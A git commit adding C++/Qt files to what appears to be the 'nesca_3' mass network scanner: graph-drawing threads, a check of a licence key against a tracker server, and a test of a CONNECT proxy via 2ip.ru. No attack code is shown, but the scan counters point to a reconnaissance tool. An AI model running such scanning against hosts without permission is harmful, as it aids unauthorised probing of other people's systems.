commit 98b9fc2f17b38d7cfc528ff3939cce8d6e26d979 Author: external.001 Date: Tue Feb 24 17:00:19 2015 +0300 Commit from eclipse! diff --git a/ActivityDrawerTh_HorNet.cpp b/ActivityDrawerTh_HorNet.cpp new file mode 100644 index 0000000..cd7b11e --- /dev/null +++ b/ActivityDrawerTh_HorNet.cpp @@ -0,0 +1,37 @@ +#include "ActivityDrawerTh_HorNet.h" +#include "externData.h" + +void ActivityDrawerTh_HorNet::doEmitDrawActivityLine(QString data) +{ + emit adtHN->sDrawActivityLine(data); +}; +void ActivityDrawerTh_HorNet::doEmitDrawGrid() +{ + emit adtHN->sDrawGrid(); +}; + +void makeActLine(int val) +{ + if(actLst.size() < 50) actLst.push_back(val); + else + { + actLst.pop_front(); + actLst.push_back(val); + }; +}; +void ActivityDrawerTh_HorNet::run() +{ + adtHN->doEmitDrawGrid(); + int maxAct = Activity + 1; + int nm = 0; + while(true) + { + if(maxAct < Activity) maxAct = Activity; + if(maxAct > 1000) nm = maxAct-=1000; + else if(maxAct > 10) nm = maxAct-=10; + makeActLine(((float)Activity/(nm != 0 ? nm : 1)) * 10); + adtHN->doEmitDrawActivityLine(QString::number(Activity) + "b"); + Activity = 0; + msleep(130); + }; +}; \ No newline at end of file diff --git a/ActivityDrawerTh_HorNet.h b/ActivityDrawerTh_HorNet.h new file mode 100644 index 0000000..3e36599 --- /dev/null +++ b/ActivityDrawerTh_HorNet.h @@ -0,0 +1,21 @@ +#ifndef ACTIVITYDRAWERTH_HORNET_H +#define ACTIVITYDRAWERTH_HORNET_H + +#pragma once +#include "STh.h" + +class ActivityDrawerTh_HorNet : public QThread +{ + Q_OBJECT + +public: signals: void sDrawActivityLine(QString); +public: signals: void sDrawGrid(); + +public: + static void doEmitDrawActivityLine(QString data); + static void doEmitDrawGrid(); +protected: + void run(); +}; +extern ActivityDrawerTh_HorNet *adtHN; +#endif // ACTIVITYDRAWERTH_HORNET_H diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.h b/CheckKey_Th.h new file mode 100644 index 0000000..d150d4a --- /dev/null +++ b/CheckKey_Th.h @@ -0,0 +1,16 @@ +#ifndef CHECKKEY_TH_H +#define CHECKKEY_TH_H + +#pragma once +#include "STh.h" +extern int emitIfOK; +class CheckKey_Th : public QThread +{ + Q_OBJECT + +protected: + void run(); +}; + +extern CheckKey_Th *chKTh; +#endif // CHECKKEY_TH_H diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp new file mode 100644 index 0000000..eb7c8b0 --- /dev/null +++ b/CheckProxy_Th.cpp @@ -0,0 +1,154 @@ +#include "CheckProxy_Th.h" +#include "externData.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if(pSock == INVALID_SOCKET) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); +#pragma endregion + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); +#pragma endregion + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); +#pragma endregion + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 1; + + CSSOCKET(pSock); + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/CheckProxy_Th.h b/CheckProxy_Th.h new file mode 100644 index 0000000..d2f93c5 --- /dev/null +++ b/CheckProxy_Th.h @@ -0,0 +1,27 @@ +#ifndef CHECKPROXY_TH_H +#define CHECKPROXY_TH_H + +#pragma once +#include "nesca_3.h" + +class CheckProxy_Th : public QThread +{ + Q_OBJECT + +public: signals: void changeRedIRCData(QString); +public: signals: void changeGreenIRCData(QString); +public: signals: void changeYellowIRCData(QString); +public: signals: void changeRawIRCDataInc(QString); +public: signals: void changeRawIRCDataOut(QString); + +public: + void doEmitChangeRedIRCData(QString str); + void doEmitChangeGreenIRCData(QString str); + void doEmitChangeYellowIRCData(QString str); + void doEmitChangeRawIRCDataOut(QString str); + void doEmitChangeRawIRCDataInc(QString str); +protected: + void run(); +}; +extern CheckProxy_Th *chPTh; +#endif // CHECKPROXY_TH_H diff --git a/DrawerTh_GridQoSScanner.cpp b/DrawerTh_GridQoSScanner.cpp new file mode 100644 index 0000000..c2d7b45 --- /dev/null +++ b/DrawerTh_GridQoSScanner.cpp @@ -0,0 +1,22 @@ +#include "DrawerTh_GridQoSScanner.h" + +void DrawerTh_GridQoSScanner::doEmitAddLine() +{ + emit dtGridQoS->sAddLine(); +}; + +void DrawerTh_GridQoSScanner::run() +{ + while(QoSScanFlag) + { + if(stt->isRunning() == true) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + ++QoSStep; + emit dtGridQoS->doEmitAddLine(); + }; + }; + msleep(2000); + }; +}; \ No newline at end of file diff --git a/DrawerTh_GridQoSScanner.h b/DrawerTh_GridQoSScanner.h new file mode 100644 index 0000000..87d1290 --- /dev/null +++ b/DrawerTh_GridQoSScanner.h @@ -0,0 +1,22 @@ +#ifndef DRAWERTH_GRIDQOSSCANNER_H +#define DRAWERTH_GRIDQOSSCANNER_H + +#pragma once +#include "STh.h" + +class DrawerTh_GridQoSScanner : public QThread +{ + Q_OBJECT + +public: +public: signals: void sAddLine(); + +public: + void doEmitAddLine(); + +protected: + void run(); +}; + +extern DrawerTh_GridQoSScanner *dtGridQoS; +#endif // DRAWERTH_GRIDQOSSCANNER_H diff --git a/DrawerTh_HorNet.cpp b/DrawerTh_HorNet.cpp new file mode 100644 index 0000000..1e92a28 --- /dev/null +++ b/DrawerTh_HorNet.cpp @@ -0,0 +1,42 @@ +#include "DrawerTh_HorNet.h" + +void DrawerTh_HorNet::run() +{ + qsrand (QDateTime::currentMSecsSinceEpoch()); + int factor = 0; + + int gWidth = ui->graphicLog->width(); + int gHeight = ui->graphicLog->height(); + + dtHN->doEmitionAddDelimLines(); + + while(ME2ScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + ++factor > 9 ? factor = 0 : NULL; + dtHN->doEmitionDrawGrid(); + + for(int i = 0; i < gHeight; i += 10) + { + QApplication::processEvents(); + dtHN->doEmitionAddLine(0, i + factor, gWidth, i + factor); + QApplication::processEvents(); + }; + }; + msleep(200); + }; +}; + +void DrawerTh_HorNet::doEmitionDrawGrid() +{ + emit dtHN->sDrawGrid(); +}; +void DrawerTh_HorNet::doEmitionAddLine(int x1, int y1, int x2, int y2) +{ + emit dtHN->sAddLine(x1, y1, x2, y2); +}; +void DrawerTh_HorNet::doEmitionAddDelimLines() +{ + emit dtHN->sAddDelimLines(); +}; \ No newline at end of file diff --git a/DrawerTh_HorNet.h b/DrawerTh_HorNet.h new file mode 100644 index 0000000..5279c18 --- /dev/null +++ b/DrawerTh_HorNet.h @@ -0,0 +1,25 @@ +#ifndef DRAWERTH_HORNET_H +#define DRAWERTH_HORNET_H + +#pragma once +#include "nesca_3.h" + +class DrawerTh_HorNet : public QThread +{ + Q_OBJECT + +public: + static void doEmitionDrawGrid(); + static void doEmitionAddLine(int x1, int y1, int x2, int y2); + static void doEmitionAddDelimLines(); + +public: signals: void sAddDelimLines(); +public: signals: void sAddLine(int, int, int, int); +public: signals: void sDrawGrid(); + +protected: + void run(); +}; + +extern DrawerTh_HorNet *dtHN; +#endif // DRAWERTH_HORNET_H diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp new file mode 100644 index 0000000..405d0c2 --- /dev/null +++ b/DrawerTh_ME2Scanner.cpp @@ -0,0 +1,149 @@ +#include "DrawerTh_ME2Scanner.h" +#include "STh.h" +#include "externData.h" + +void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() +{ + emit dtME2->sDrawTextPlacers(); +}; + +void DrawerTh_ME2Scanner::doEmitionAddPolyLine() +{ + emit dtME2->sAddPolyLine(); +}; +void MakePolygonLine(int gWidth) +{ + vect.clear(); + int x = 0; + int tx = 0; + int xtx = 0; + QPointF qp(0, 20); + vect.append(qp); + int fact1 = 0, + fact2 = 0, + fact3 = 0, + fact4 = 0, + fact5 = 0, + fact6 = 0, + fact7 = 0; + + bool state = stt->isRunning(); + for(int i = 1; i < 130; ++i) + { + x = qrand() % 4 + 2 + i; + xtx = x + tx; + if(xtx > 1 && xtx < 31) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - AnomC1*2 - fact1 : 20); + if(AnomC1 > 0) + { + if(xtx < 16 ) fact1+=2; + else fact1-=2; + }; + } + + if(xtx > 34 && xtx < 72) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - WF*2 - fact2 : 20); + + if(WF > 0) + { + if(xtx < 52 ) fact2+=2; + else fact2-=2; + }; + } + + if(xtx > 74 && xtx < 112) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - BA*2 - fact3 : 20); + + if(BA > 0) + { + if(xtx < 92 ) fact3+=2; + else fact3-=2; + }; + } + + if(xtx > 114 && xtx < 152) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Susp*2 - fact4 : 20); + + if(Susp > 0) + { + if(xtx < 132 ) fact4+=2; + else fact4-=2; + }; + } + + if(xtx > 154 && xtx < 192) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Overl*2 - fact5 : 20); + + if(Overl > 0) + { + if(xtx < 172 ) fact5+=2; + else fact5-=2; + }; + } + + if(xtx > 194 && xtx < 232) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Lowl*2 - fact6 : 20); + + if(Lowl > 0) + { + if(xtx < 212 ) fact6+=2; + else fact6-=2; + }; + } + + if(xtx > 234 && xtx < 269) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Alive*2 - fact7 : 20); + + if(Alive > 0) + { + if(xtx < 252 ) fact7+=2; + else fact7-=2; + }; + }; + + vect.append(qp); + tx = x; + }; + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + vect.append(QPointF(gWidth, 20)); +}; +void DrawerTh_ME2Scanner::run() +{ + int gWidth = ui->graphicLog->width(); + dtME2->doEmitDrawTextPlacers(); + while(ME2ScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + MakePolygonLine(gWidth); + dtME2->doEmitionAddPolyLine(); + } + else + { + msleep(1000); + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + }; + msleep(150); + }; +}; \ No newline at end of file diff --git a/DrawerTh_ME2Scanner.h b/DrawerTh_ME2Scanner.h new file mode 100644 index 0000000..0e1eda0 --- /dev/null +++ b/DrawerTh_ME2Scanner.h @@ -0,0 +1,22 @@ +#ifndef DRAWERTH_ME2SCANNER_H +#define DRAWERTH_ME2SCANNER_H + +#pragma once +#include "STh.h" + +class DrawerTh_ME2Scanner : public QThread +{ + Q_OBJECT + +public: + static void doEmitionAddPolyLine(); + static void doEmitDrawTextPlacers(); + +public: signals: void sAddPolyLine(); +public: signals: void sDrawTextPlacers(); + +protected: + void run(); +}; +extern DrawerTh_ME2Scanner *dtME2; +#endif // DRAWERTH_ME2SCANNER_H diff --git a/DrawerTh_QoSScanner.cpp b/DrawerTh_QoSScanner.cpp new file mode 100644 index 0000000..a67efc4 --- /dev/null +++ b/DrawerTh_QoSScanner.cpp @@ -0,0 +1,64 @@ +#pragma once +#include "DrawerTh_QoSScanner.h" +#include "STh.h" +#include "externData.h" + +int tMax; + +void DrawerTh_QoSScanner::run() +{ + while(QoSScanFlag) + { + tMax = 0; + + if(stt->isRunning() == true && widgetIsHidden == false && tray->isVisible() == false && QOSWait == false) + { + lstOfLabels.clear(); + lstOfLabels.append(Alive); + lstOfLabels.append(AnomC1); + lstOfLabels.append(WF); + lstOfLabels.append(Susp); + lstOfLabels.append(Lowl); + lstOfLabels.append((int)BA); + lstOfLabels.append(Overl); + lstOfLabels.append(ssh); + + QList lstOfLabelsCopy = lstOfLabels; + qSort(lstOfLabelsCopy.begin(), lstOfLabelsCopy.end(), qGreater()); + int curVal = lstOfLabelsCopy[0]; + if(curVal > MaxDataVal) MaxDataVal = curVal; + if(curVal > tMax) tMax = curVal; + + dtQoS->doEmitionAddLine(); + } + else + { + msleep(500); + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + ssh = 0; + }; + + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + ssh = 0; + msleep(2000); + }; +}; + +void DrawerTh_QoSScanner::doEmitionAddLine() +{ + emit dtQoS->sAddLine(); +}; \ No newline at end of file diff --git a/DrawerTh_QoSScanner.h b/DrawerTh_QoSScanner.h new file mode 100644 index 0000000..7f710e3 --- /dev/null +++ b/DrawerTh_QoSScanner.h @@ -0,0 +1,21 @@ +#ifndef DRAWERTH_QOSSCANNER_H +#define DRAWERTH_QOSSCANNER_H + +#pragma once +#include "nesca_3.h" + +class DrawerTh_QoSScanner : public QThread +{ + Q_OBJECT + +public: + static void doEmitionAddLine(); + +public: signals: void sAddLine(); + +protected: + void run(); +}; + +extern DrawerTh_QoSScanner *dtQoS; +#endif // DRAWERTH_QOSSCANNER_H diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp new file mode 100644 index 0000000..dea5945 --- /dev/null +++ b/DrawerTh_VoiceScanner.cpp @@ -0,0 +1,135 @@ +#include "DrawerTh_VoiceScanner.h" +#include "externData.h" + +void DrawerTh_VoiceScanner::doEmitAddLine() +{ + emit vsTh->sAddLine(); +}; +void DrawerTh_VoiceScanner::doEmitDrawGrid(int factor) +{ + emit vsTh->sDrawGrid(factor); +}; +void DrawerTh_VoiceScanner::doEmitDrawTextPlacers() +{ + emit vsTh->sDrawTextPlacers(); +}; + +void makeVoiceLine(int Al, int An, int Bd, int Sp, int Lo, int var, int Ovl, int WF, int SSH) +{ + if(vAlivLst.size() < 140) + { + if(Al > 0) vAlivLst.push_back((Al + 1)*10); + } + else + { + vAlivLst.pop_front(); + if(Al > 0) vAlivLst.push_back((Al + 1)*10); + }; + + if(vAnomLst.size() < 140) + { + if(An > 0) vAnomLst.push_back((An + 1)*10); + } + else + { + vAnomLst.pop_front(); + if(An > 0) vAnomLst.push_back((An + 1)*10); + }; + + if(vWFLst.size() < 140) + { + if(Bd > 0) vWFLst.push_back((Bd + 1)*10); + } + else + { + vWFLst.pop_front(); + if(Bd > 0) vWFLst.push_back((Bd + 1)*10); + }; + + if(vSuspLst.size() < 140) + { + if(Sp > 0) vSuspLst.push_back((Sp + 1)*10); + } + else + { + vSuspLst.pop_front(); + if(Sp > 0) vSuspLst.push_back((Sp + 1)*10); + }; + + if(vLowlLst.size() < 140) + { + if(Lo > 0) vLowlLst.push_back((Lo + 1)*10); + } + else + { + vLowlLst.pop_front(); + if(Lo > 0) vLowlLst.push_back((Lo + 1)*10); + }; + + if(vLowlLst.size() < 140) + { + if(var > 0) vBALst.push_back((var + 1)*10); + } + else + { + vBALst.pop_front(); + if(var > 0) vBALst.push_back((var + 1)*10); + }; + + if(vOvrlLst.size() < 140) + { + if(Ovl > 0) vOvrlLst.push_back((Ovl + 1)*10); + } + else + { + vOvrlLst.pop_front(); + if(Ovl > 0) vOvrlLst.push_back((Ovl + 1)*10); + }; + + if(vSSHLst.size() < 140) + { + if(SSH > 0) vSSHLst.push_back((SSH + 1)*10); + } + else + { + vSSHLst.pop_front(); + if(SSH > 0) vSSHLst.push_back((SSH + 1)*10); + }; +}; +void DrawerTh_VoiceScanner::run() +{ + vsTh->doEmitDrawGrid(150); + vsTh->doEmitDrawTextPlacers(); + while(VoiceScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, BA, Overl, WF, ssh); + Alive = 0; + AnomC1 = 0; + WF = 0; + Filt = 0; + Lowl = 0; + BA = 0; + Overl = 0; + Susp = 0; + ssh = 0; + + vsTh->doEmitAddLine(); + msleep(150); + } + else + { + msleep(500); + Alive = 0; + AnomC1 = 0; + WF = 0; + Filt = 0; + Lowl = 0; + BA = 0; + Overl = 0; + Susp = 0; + ssh = 0; + }; + }; +}; \ No newline at end of file diff --git a/DrawerTh_VoiceScanner.h b/DrawerTh_VoiceScanner.h new file mode 100644 index 0000000..88a5457 --- /dev/null +++ b/DrawerTh_VoiceScanner.h @@ -0,0 +1,23 @@ +#ifndef DRAWERTH_VOICESCANNER_H +#define DRAWERTH_VOICESCANNER_H + +#pragma once +#include "nesca_3.h" + +class DrawerTh_VoiceScanner : public QThread +{ + Q_OBJECT + +public: +public: signals: void sAddLine(); +public: signals: void sDrawGrid(int factor); +public: signals: void sDrawTextPlacers(); +public: + void doEmitAddLine(); + void doEmitDrawGrid(int factor); + void 